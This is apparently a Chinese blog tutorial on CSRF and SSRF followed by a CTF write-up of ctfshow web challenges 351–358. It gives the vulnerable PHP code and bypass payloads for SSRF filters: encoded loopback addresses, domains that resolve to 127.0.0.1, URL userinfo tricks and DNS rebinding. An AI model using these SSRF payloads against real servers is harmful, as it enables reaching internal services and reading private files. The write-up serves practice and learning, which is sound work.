CSRF 与SSRF基础 及ctfshow 练习

CSRF 与SSRF基础

1.0 CSRF简介

CSRF,即跨站请求伪造,也可以缩写为XSRF,通过此漏洞,攻击者可以在目标不知情的情况下以

目标的名义伪造请求,从而执行恶意操作

CSRF攻击有两个条件:

1 目标登陆了网站 能够执行网站的功能

2 目标用户访问了攻击者的URL

我们通过让目标触发我们模拟的url达到以其身份发出我们想要的数据的效果。

这要求我们对正常操作时应该发送什么数据比较了解,在这我们可以使用CSRFtester来进行数据

包捕获,捕捉到数据后可以自动生成发送这些数据的HTML代码,我们诱导受害者触发改该html代

码即可以其身份帮我们发送这些数据

1.1 CSRF判断

判断CSRF有三个点:

1 是否有同源判断,即判断访问页面的来源页面,如果加上检测,就还需要伪造referer

判断方式:从外部页面访问是否和在网页内部访问一致

2 看凭据是否有token,token每操作一次token就会改一次,如果网站cookie中包含token,则无

法进行CSRF

3 看关键操作有无验证

如果网站有同源判断,我们可以通过php实现referer伪造。

或者尝试将生成的html代码上传到目标网站中,让其点击。

1.2 SSRF简介

SSRFF,即服务器端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一种安全漏洞,是

由服务器端发起的。

举一个例子,如果某网站有通过url,远程访问下载图片功能,则说明服务器会访问我们提交的

URL,通过访问服务器本身地址,即http://127.0.0.1可以实现服务探针,判断其开放了什么端口,

如果该服务器下存在内网,我们可以将公网地址改为私有地址,检测其本地是否存在内网。 通过

爆破的方式将与服务器链接的内网地址找到。

更进一步,我们可以通过内网的一些协议直接读取非网站目录下的服务器文 件。由于使用协议时

借助的是服务器网页的脚本,所以不同语言下可以使用的协议也可能不同。

接下来的内容是ctfshow的练习部分

SSRF

1.0 ctfshow web 351

打开后显示了网页代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);

先对其进行解释curl_init($url);打开一个url会话,以便后续操作

curl_setopt($ch, CURLOPT_HEADER, 0); 这是返回内容设置,用来CURLOPT_HEADER表示用

来设置返回内容中是否包含header内容,0是不包含

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 该操作设置访问url的内容不直接输出,

而是返回值,便于用变量接受。

$result=curl_exec($ch) 访问url,传回页面信息

$result=curl_exec($ch); curl_close($ch); 关闭url会话,这就是php中一个访问url,并获取信息的部分,很明显,这符

合我们上面对ssrf的描述,也就是说该页面存在ssrf漏洞,我们想要获取flag

先用http协议试一下flag是否在网页目录下,如果不在的话就使用别的协议

url=http://127.0.0.1/flag.php post提交

发现直接返回了flag,既然这样说明flag文件就位于网页目录下,我们再用file协议获取一下

url=file://var/www/html/flag.php发现不行,要么是地址不对,要么是将file协议给过滤了

1.1 ctfshow web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这个看似过滤了,其实如过,我们仔细看一下正则表达式的匹配函数

preg_match('/localhost|127.0.0/')这需要被匹配的字符串呢?这没给不就一点用都没有,

所以上一题payload拿下

url=http://127.0.0.1/flag.php

1.2 ctfshow web 353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这个题才是正常过滤了,相比前几题多过滤了本地地址

还记得我们之前做的文件上传题目中,过滤了小数点我们是怎么解决的呢?

ip转数字,这一题也是一样的思路,我们有payload:·url=http://2130706433/flag.php

十进制整数:url=http://2130706433/flag.php

十六进制:url=http://0x7F.0.0.1/flag.php

八进制:url=http://0177.0.0.1/flag.php

十六进制整数:url=http://0x7F000001/flag.php

还有几种方式

127.1会被解析成127.0.0.1

在linux中,0也会被解析成127.0.0.1

回环地址:127.0.0.1 —> 127.255.255.254都会被解析为本地地址去处理。

拿下

1.3 ctfshow web 354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这题把01给过滤了,转出的10进制,16进制,2进制里都有0和1,这该怎么处理?

我们可以使用我们自己的域名,在解析栏将其设置为 本地地址,这样就可以解析到本地了,

我们也可也使用一些公司提供的解析到本地的域名

113.taobao.com

safe.taobao.com

wifi.aliyun.com

imis.qq.com

ecd.tencent.com

选择合适的域名,拿下

1.4 ctfshow web 355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

本题对host长度做了限制,我们在web353说过,127.10都会解析为本地地址,按这个思路拿

下flag

1.5 ctfshow web 356

error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

和上题一样,只不过域名限制3个字符,用0即可

url=http://0/flag.php

1.6 ctfshow web 357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

本题的过滤和之前又有不同

gethostbyname方法用于获得host对应的ip地址

filter_var() 函数是 PHP 内置的过滤器函数,用于验证和清理变量的数据。在上述代码片段

中,它的用法是用来验证 $ip 是否为一个有效的公共 IPv4 或 IPv6 地址,同时排除私有 IP 范围和

保留 IP 范围

FILTER_VALIDATE_IP:这是一个预定义的过滤器常量,指示 filter_var() 函数验证 $ip

是否为合法的 IP 地址(可以是 IPv4 或 IPv6)

FILTER_FLAG_NO_PRIV_RANGE:这是一个标志位,表示在验证过程中应排除私有 IP 地址范

围。私有 IP 地址是指那些在局域网内部使用的地址,比如 IPv4 中的 10.x.x.x、172.16.x.x 至

172.31.x.x、192.168.x.x 等范围。

FILTER_FLAG_NO_RES_RANGE:这也是一个标志位,表示在验证过程中应排除保留 IP 地址范

围。保留 IP 地址是指在互联网上不可路由的地址,比如 IPv4 中的 0.x.x.x、127.x.x.x、

169.254.x.x 等范围,以及一些IPv6保留地址块。

也就是判断ip是否为公网ip,如果是的话返回IP,不是的话返回false

该函数如果验证成功,顺利执行,验证失败则整个程序结束运行。

file_get_contents() 用于从远程文件获取内容并返回

该过滤似乎限制的比较严格,我们应该怎么绕过呢?这时候就需要使用一种新技术了:

DNS Rebinding:

DNS重新绑定是计算机攻击的一种形式。 在这种攻击中,恶意网页会导致访问者运行客户端脚本,

攻击网络上其他地方的计算机。 从理论上讲,同源策略可防止发生这种情况:客户端脚本只能访问

为脚本提供服务的同一主机上的内容。 比较域名是实施此策略的重要部分,因此DNS重新绑定通过

滥用域名系统(DNS)来绕过这种保护。

这种攻击可以通过让受害者的网络浏览器访问专用IP地址的机器并将结果返回给攻击者来破坏专用

网络。 它也可以用于使用受害者机器发送垃圾邮件,分布式拒绝服务攻击或其他恶意活动。

简单理解就是上述代码的过滤有两个DNS解析过程,第一次是检测我们的域名是否合法,第二次是

正常访问,我们只需要让DNS服务器解析的ip在第一次合法,第二次是我们的目标ip即可,通过设

置一个很短的ttl即可完成该操作,这种绕过方式就是DNS Rebinding,但我们自己去设置DNS服务器

似乎比较麻烦,这时候可以利用一些平台,比如[这个](CEYE - Monitor service for security testing)我们在dns rebinding设置中将第一个Ip地址设

置为正常,第二个地址设置为我们的目标地址即可

我们实际使用时需要在分配给你的域名前加入r.

本题payload:url=http://r.0xqmoz.ceye.io/flag.php

1.7 ctfshow web 358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

本题对Url的格式进行了限制,限制http://ctf.开头show结尾

我们这次的过滤需要用到url的构成的相关知识,我们明白,@前的内容呢是url的username和

password,?后的内容是查询字符串,所以这两部分的内容是不会算进host去解析的,有了这个

知识点,我们构造payload就简单了

url=http://ctf.@127.0.0.1/flag.php?show

这样即可绕过

其余的题目设计到内网渗透以及对应的工具,这里就不继续讲了

posted @ 2024-03-28 00:24  折翼的小鸟先生  阅读(4)  评论(0编辑  收藏  举报